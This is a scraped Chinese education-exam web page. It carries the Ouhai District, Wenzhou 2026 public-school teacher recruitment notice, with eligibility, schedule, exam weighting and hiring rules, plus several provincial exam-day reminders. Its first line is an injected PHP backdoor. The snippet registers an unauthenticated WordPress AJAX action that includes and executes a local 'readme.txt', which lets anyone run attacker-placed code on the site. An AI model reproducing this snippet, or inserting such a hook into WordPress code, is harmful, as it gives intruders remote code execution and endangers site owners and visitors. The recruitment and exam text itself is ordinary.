if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江省温州市瓯海区2026年公开招聘公办中小学教师公告-全国教师资格考试网

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告

为优化教师队伍结构,充实优秀师资力量,经研究,决定面向社会公开招聘公办中小学全额拨款事业编制教师21名(其中面向优秀退役军人1名),其中中学教师10名、小学教师11名。现就有关事项公告如下:

一、招聘对象基本条件

(一) 具有中华人民共和国国籍。

(二) 遵纪守法,品行端正,身体健康,有志从事教育工作。

(三) 具备与招聘岗位相适应的职业道德素养、专业知识水平、教育教学能力和身体心理素质。

(四) 具有招聘岗位所需的年龄、户籍、学历学位、专业、资格等相关条件。

(五) 具备招聘岗位所需的其他条件。

(六) 与招聘岗位之间不存在按规定应当回避的情形。

二、招聘岗位和要求

(一) 招聘岗位详见《瓯海区教育系统2026年公开招聘公办中小学教师岗位和要求一览表》(附件1)。

(二) 选报的岗位根据专业对口原则,以教师资格证书及学历证书标注所学专业为准。

(三) 报考人员只能选报一个岗位。

(四) 学历、学位以国家教育行政机关认可的相应证件文书为准。招考专业参考《2026年浙江省公务员录用考试专业参考目录》(附件2)审查认定。目录中未列入的专业或各高校新设专业,如与岗位要求的专业相近、相似的,由报考人员提供相应的学习课程等佐证资料,证明确实相近、相似的,本着“宜宽不宜窄、有利于人才选拔”的原则进行审查认定。

报名资格条件中(除年龄外)涉及到时间均统一截至2026年6月11日。

三、报名程序和办法

报名、资格初审通过网络方式进行。

(一) 报名与资格初审

网上报名时间:6月11日9时—6月17日17时

网上资格初审时间:6月11日9时—6月18日17时

报考人员登录浙江省通用招聘网报平台(网址:http://qssy.zjks.com),如实、准确、完整地按网报平台注明的填写格式注册个人信息并选择岗位报名,然后由招聘单位或其主管部门对报考人员是否符合岗位资格条件进行资格初审。报考人员务必要登录浙江省通用招聘网报平台查看初审结果,不再另行通知。

仅注册,未进行报名确认的,视为无效。通过资格初审的不能再报考其他岗位;未按报名条件及填写格式要求完整填报相关报名信息的视为资格初审不通过;未通过初审的可在报名时间内再次报名并接受资格初审。为确保再次报名时间充裕,建议报考人员尽早完成网上报名,并密切上网关注初审结果。对初审结果有异议的,要于6月18日上午11:00前以书面形式向瓯海区教育局提出,逾期不再受理(地址:瓯海区行政中心古岸路381号瓯海区教育局组织人事科317办公室)。

(二) 缴费确认

时间:2026年6月20日9时—6月22日15时。

通过资格初审的人员登录报名系统,进行缴费确认并查询是否完成。未按时缴费确认的,视为放弃报名。根据浙江省物价局、浙江省财政厅《关于调整我省公务员录用和事业单位公开招聘人员考试费收费标准的复函》(浙价费〔2018〕21号)文件规定,每科考试费为50元。困难家庭的报考人员于6月22日15时网报平台上缴费结束前,到温州市瓯海区教育局(地址:瓯海区行政中心古岸路381号瓯海区教育局组织人事科317办公室)提供本人第二代有效身份证(以下简称身份证)及所在县(市、区)级民政部门出具的低保证或特困证明,经审核后免除其考试费。

(三) 招聘计划核减(取消)

同一学科岗位招聘计划数与初审符合条件且缴费确认通过人数达不到1:3比例的,相应核减或取消招聘计划(优秀退役军人报考初中体育005岗位计划数与初审符合条件人数达不到1:3比例的,005岗位初中体育招聘学校与计划数将一并纳入004岗位初中体育招聘计划,原符合条件的005初中体育岗位报名人员一并纳入本次004初中体育岗位的招聘。纳入后,初审符合条件人数不足6人的,将相应核减或取消招聘计划),核减或取消的招聘计划数在“瓯海教育公共服务平台(http://www.ohedu.cn)公告公示栏目”予以公布。

招聘计划取消的,已报考并通过资格初审的该岗位人员可于2026年6月23日(上午8:30-11:00;下午14:00-16:00)到瓯海区教育局按条件改报,逾期视作放弃改报(地址:瓯海区行政中心古岸路381号瓯海区教育局组织人事科317办公室)。

(四) 下载打印准考证

时间:2026年6月26日9时—6月27日9时30分。

资格初审通过人员登录报名系统,点击“准考证打印”下载打印《笔试准考证》。

四、考试项目和分值

(一) 笔试

1. 时间及科目

2026年6月27日(星期六)上午9:00-11:00

具体时间、地点以准考证为准。

2. 笔试内容为报考岗位相关学科专业知识及教育教学理论知识,满分为100分(其中学科专业知识约占70%,教育教学理论知识约占30%)。相关学科专业知识及教育教学理论知识,不指定参考书目和范围。考生必须同时携带《笔试准考证》、本人身份证,按照准考证上规定的时间和地点参加笔试。考生未按规定时间参加笔试的,视作自动放弃招聘资格。

(二) 资格复审

1. 资格复审对象确定

(1) 笔试结束后,根据报考人员笔试总成绩,按照各岗位(学科)招聘计划数1:3的比例从高分到低分确定拟资格复审对象(其中小学体育、初中体育按1:5的比例确定),其中如遇最后一名同分的,则一并列为拟资格复审对象。不足规定比例的,按实际人数确定。

(2) 拟资格复审对象名单及资格复审要求在“瓯海教育公共服务平台”(www.ohedu.cn)公布,不另向个人发放,请密切关注。

2. 组织资格复审

(1) 资格复审对象按照要求进行资格复审。资格复审对象需提供的材料详见《瓯海区教育系统2026年公开招聘公办中小学教师资格复审所需材料清单》(附件3)。

(2) 证件不全或所提供的证件与报考岗位(专业)资格条件不相符或者弄虚作假取得报名资格条件等情况的,则取消招聘资格,不予入围技能测试、试课。

(3) 招聘单位或其上级主管部门将结合报考人员提供的资格复审材料,对报考人员注册报名时填写的各项报名信息的真实性和是否符合岗位资格条件进行现场资格复审。证件不全或所提供的证件与报考岗位资格条件不相符者,资格复审不通过;未按规定时间、地点接受资格复审的,视作自动放弃。如遇资格复审不通过或自动放弃者,其空缺试课资格按笔试总成绩从高分到低分的顺序予以递补(其中如遇最后一名同分的,则一并列为拟资格复审对象)。

(三) 技能测试

报考“体育”学科岗位的考生资格复审合格后参加技能测试。技能测试满分为100分。

中小学体育测试内容为田径(35%)、篮球(30%)、体操(队列)(35%);

考生按照规定的时间、地点和要求,携带本人身份证参加技能测试。入围技能测试考生自愿放弃或逾期不到者,作自动放弃处理,其空缺岗位不再递补。

技能测试设合格分数线,合格分数线均为70分,达不到合格分数线的,不予入围试课。

具体技能测试要求、时间、地点等由瓯海区教育局另行通知。

(四) 试课

1. 试课对象确定

体育岗位技能测试合格人员则列为试课考核对象;其他岗位资格复审合格的考生,则确定为试课考核对象。

2. 试课

(1) 试课内容为报考岗位的教材内容,并采用模拟课堂的形式进行试讲,主要考查教学设计能力、掌握教学内容能力、教学组织能力、教学基本素养、仪表仪态等。试课考核满分为100分。中小学教师岗位试课对象均准备45分钟,试课时间为10分钟。

(2) 考生按照规定的时间、地点和要求,携带身份证参加试课。试课对象自愿放弃或逾期不到者,作自动放弃处理,其空缺位不再递补。

(3) 试课设合格分数线,合格分数线为70分,达不到合格分数线的,不予入围体检。

(4) 试课时间、地点由瓯海区教育局另行通知。

(五) 计算总成绩

1. “体育”总成绩=笔试成绩×30%+技能测试成绩×30%+试课成绩×40%;

2. 除“体育外其他岗位”总成绩=笔试成绩×40%+试课成绩×60%。

各项成绩计算到小数点后两位,尾数四舍五入。

五、选岗

根据考试总成绩从高分到低分按岗位招聘计划合计数1:1确定入围选岗对象。如遇末位考试总成绩同分的,则分别按试课、技能、笔试成绩的顺序确定入围人员;如遇各项成绩均相同人员,另行加试,加试采用面试形式,成绩高者入围。选岗对象按考试总成绩从高分到低分在相应学科(岗位)中选择招聘单位。选岗后缺额一律不予递补。

六、体检

(一) 确定体检对象

以选岗确定的考生为入围体检对象,体检通知及体检对象名单将在瓯海教育公共服务平台予以公布。

(二) 体检

入围体检对象要按规定时间、地点和要求,携带身份证参加体检,体检费用自理。体检按照《关于修订<公务员录用体检通用标准(试行)>及<公务员录用体检操作手册(试行)>有关内容的通知》(人社部发〔2016〕140号)执行。入围人员不按规定时间、地点参加体检的,视作放弃体检。体检不合格或放弃体检的,不得聘用。体检及后续环节不合格、不通过或放弃的,均不再递补。

七、考察

考察标准参照公务员录用以及教育行业准入有关规定执行。考察内容主要为考生的思想政治表现、道德品质、遵纪守法情况等。因触犯刑法被人民法院依法作出有罪判决的,因触犯刑法被人民检察院依法作出定罪不起诉决定的,存在《中华人民共和国未成年人保护法》《未成年人学校保护规定》等法律法规规定的教育领域从业禁止行为的,以及存在其他不符合录用规定情形的,考察不予通过。

八、公示、聘用

(一) 体检、考察合格者,确定为拟聘用人员,名单在“瓯海教育公共服务平台”网站公示5个工作日;公示期满,对拟聘用人员没有异议或反映有问题经查实不影响聘用的,按规定办理聘用手续。

(二) 为保持教师队伍的稳定性,本次选聘人员在聘用单位最低服务年限为五年(含试用期),试用期满经考核不合格的,将解除聘用合同。

(三) 2026年应届毕业生被确定为拟聘用人员的,必须于2026年7月31日前提供毕业证书、学位证书、教师资格证书等报名相关材料原件,否则取消聘用资格,其空缺位不再递补。

(四) 被聘用对象实行聘用合同制。公示期满并办理相关入编手续后,拟聘用人员应在规定时间内到聘用单位报到,无正当理由逾期不报到的,则取消聘用资格。经公开招聘的新进人员均要实行试用期,并由用人单位与拟聘用人员本人签订试用期聘用合同,试用期满经考核合格的予以办理转正定级手续,否则予以解聘,其空缺位不再递补。

九、其他规定

(一) 招聘工作坚持公开、平等、竞争、择优原则,规范程序,严明纪律,接受社会监督,对弄虚作假、徇私舞弊的人员,一经查实,按有关规定予以严肃处理。

(二) 户籍条件:

1. 以2026年6月11日户口所在地为准。户口尚在迁移中的人员不得报考(以生源地报考的除外)。请报考人员在注册报名时确认本人落户时间等具体情况并如实填写。

2. 2026年普通高校应届毕业生户籍仍在学校的,如生源地(生源地是指经高考、被高校录取时户籍所在地)符合岗位要求户籍条件的可以报考相应岗位,资格复审时需提供生源地户口簿。

(三) 考试违纪违规行为的认定和处理,按照人力资源和社会保障部发布的《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号)执行。

(四) 资格审查贯穿招聘全过程,一经查实报考人员资格不符,随即取消应聘资格或聘用资格。报考人员在资格初审和复审提交的报考信息和材料应当真实、准确、有效,并在规定时间内补充完善报考信息和材料,否则视为审核不通过。凡提供虚假信息和材料获取报名、报考及聘用资格的,或有意隐瞒本人真实情况的,一经查实,即取消报考资格或聘用资格。

(五) 报名、笔试、技能测试、试课使用的身份证号必须一致。参加笔试时,必须同时携带《笔试准考证》、身份证等相关材料。身份证遗失的,需及时补办或办理临时身份证。凡弄虚作假进入考场参加考试的,当次全部科目考试成绩无效并按相关规定处理。

(六) 国(境)外学历学位有关毕业时间及所学专业的认定,以教育部留学服务中心出具的国(境)外学历学位认证书为准。国(境)外高校留学人员报考的,须在2026年6月11日前取得相应的学历学位和教育部留学服务中心出具的国(境)外学历学位认证书。

(七) 具有下列情形之一的人员,不得报考。

1. 瓯海区机关事业单位在编人员和现役军人;

2. 普通高校在校在读生,普通高校在校在读专升本人员、第二学士学位人员、研究生不能以原已取得的学历、学位证书报考(2026年应届毕业生除外);

3. 参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)等规定不得确定为拟录用人选情形之一的人员;

4. 2025年面向高校公开选聘优秀毕业生(2025年11月批次)拟聘用人员;

5. 2026年面向高校公开选聘优秀毕业生(2026年5月批次)拟聘用人员;

6. 被依法认定为失信联合惩戒对象的人员;

7. 报考人员不得报考聘用后即构成回避关系的招聘岗位;

8. 法律、法规规定不得报考的人员。

(八) 本次招聘考试不指定复习参考用书,不举办也不委托任何机构与个人开展针对本次教师招聘考试的辅导培训。

(九) 瓯海教育公共服务平台是发布公开招聘教师相关信息的主渠道。本公告其他未尽事宜将及时在“瓯海教育公共服务平台公告公示栏目”予以公布,请报考对象注意上网查阅(http://www.ohedu.cn)。

(十) 本公告由温州市瓯海区教育局会同瓯海区人力资源和社会保障局负责解释。

咨询电话:瓯海区教育局组织人事科    0577-88598287

瓯海区人力资源和社会保障局事业单位综合管理科

0577-88538557

监督电话:瓯海区教育局信访巡察中心  0577-88534443

 

附件:

1. 瓯海区教育系统2026年公开招聘公办中小学教师岗位和要求一览表

2. 2026年浙江省公务员录用考试专业参考目录

3. 瓯海区教育系统2026年公开招聘公办中小学教师资格复审所需材料清单

4. 瓯海区教育系统2026年公开招聘公办中小学教师报名表

5. 同意报考证明(模板—机关事业单位在编人员需提供)

6. 瓯海区教育系统2026年公开招聘公办中小学教师回避关系情况报告表

温州市瓯海区教育局  温州市瓯海区人力资源和社会保障局

2026年6月5日

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件1:瓯海区教育系统2026年公开招聘公办中小学教师岗位和要求一览表.xls

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件2:2026年浙江省公务员录用考试专业参考目录.xlsx

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件3:瓯海区教育系统2026年公开招聘公办中小学教师资格复审所需材料清单.docx

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件4:瓯海区教育系统2026年公开招聘公办中小学教师报名表.doc

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件5:同意报考证明(模板).doc

浙江省温州市瓯海区2026年公开招聘公办中小学教师公告温瓯教发〔2026〕96号 附件6:瓯海区教育系统2026年公开招聘公办中小学教师回避关系情况报告表.xlsx

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部